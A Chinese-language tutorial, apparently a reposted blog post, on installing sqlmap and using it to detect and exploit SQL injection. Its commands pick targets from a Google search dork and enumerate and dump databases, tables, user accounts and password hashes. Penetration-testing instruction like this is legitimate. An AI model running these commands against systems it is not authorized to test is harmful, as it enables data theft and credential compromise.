sqlmap 安装使用

官网

http://sqlmap.org/

官方用户手册

ttps://github.com/sqlmapproject/sqlmap/wiki

简介

sqlmap是一个开源渗透测试工具,它可以自动执行检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,拥有针对极限渗透测试的众多细分功能,及数据库指纹识别,从数据库获取数据,访问基础文件系统以及通过外部连接在操作系统上执行命令。

SQL注入类型涵盖:

基于布尔的盲注
基于时间的盲注
基于错误
基于UNION的查询
堆栈查询

安装

方式一:通过kali linux 执行安全测试,SqlMap已安装

方式二:使用windows进行测试,首先安装python,然后通过pip 安装sqlmap

pip install --upgrade sqlmap

方式三:使用其他linux系统,安装Python--->安装sqlmap

使用

1、指定目标自动扫描检测

1) 直连数据库

sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

2) 指定目标URL

sqlmap.py -u http://192.168.56.102:8080/user.php?id=0

URL中必须包含参数

3) 从Burp或WebScarab的代理日志中解析目标

sqlmap.py -l ../proxy.log

使用参数“-l”指定一个BurpSuite或WebScarab的代理日志文件,Sqlmap将从日志文件中解析出可能的攻击目标,并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。推荐使用BurpSuite+SqlMap的方式。

4) 从站点地图文件中解析目标

sqlmap.py -x http://www.6eat.com/sitemap.xml

5)  从文本文件中解析目标

sqlmap.py -m url.txt

可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。

6)  从文件载入HTTP请求

sqlmap.py -r get.txt

7)  将Google搜索结果作为攻击目标

sqlmap.py -g "inurl:".php?id=1""

8)   从配置文件中载入攻击目标

使用参数“-c”指定一个配置文件(如:sqlmap.conf),Sqlmap会解析该配置文件,按照该配置文件的配置执行动作。配置文件中可以指定攻击目标,实际上除了攻击目标外,配置文件还可以指定各种参数的值。

Sqlmap的安装目录中有一个名为sqlmap.conf的文件,该文件是配置文件的模板。

2、按照策略人工检测

Get 注入举例:

1、 sqlmap.py -u "XXXURLmusthaveparameter" --batch

--batch,不用每次都提示作选择[Y/N]

2、sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" –dbms mysql –v 3

#指定数据库类型为mysql,级别为3(v 可以设置6个等级,用来控制显示不同的信息,一般选3就行了,默认使用1级,级别越高,检测越全面)

Post 注入举例:

1)使用抓包工具抓取post 请求包,保存在txt文件中

sqlmap -r “c: ools equest.txt” -p “username” –dbms mysql  

#-r  从一个文件中载入HTTP请求

#-p  指定username参数

暴库

#扫描数据库信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --dbs
#当前使用的数据库
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-db
#数据库使用账户
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-user

#列出数据库所有用户
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --users
#列出数据库中所有账户-对应的密码哈希
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --passwords

#列出数据库中的表 ,D:指定数据库
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx库 –tables
#列出数据库表中的所有字段信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx库 -T xx表 --columns
#列出字段内容,--dump  打印
sqlmap.py -u "http://xxxxxx/products.asp?id=56"  -D xx库 -T xx表 -C "字段" –dump


参考:

https://blog.csdn.net/wn314/article/details/78872828

原文地址:https://www.cnblogs.com/emma-lucas/p/13208382.html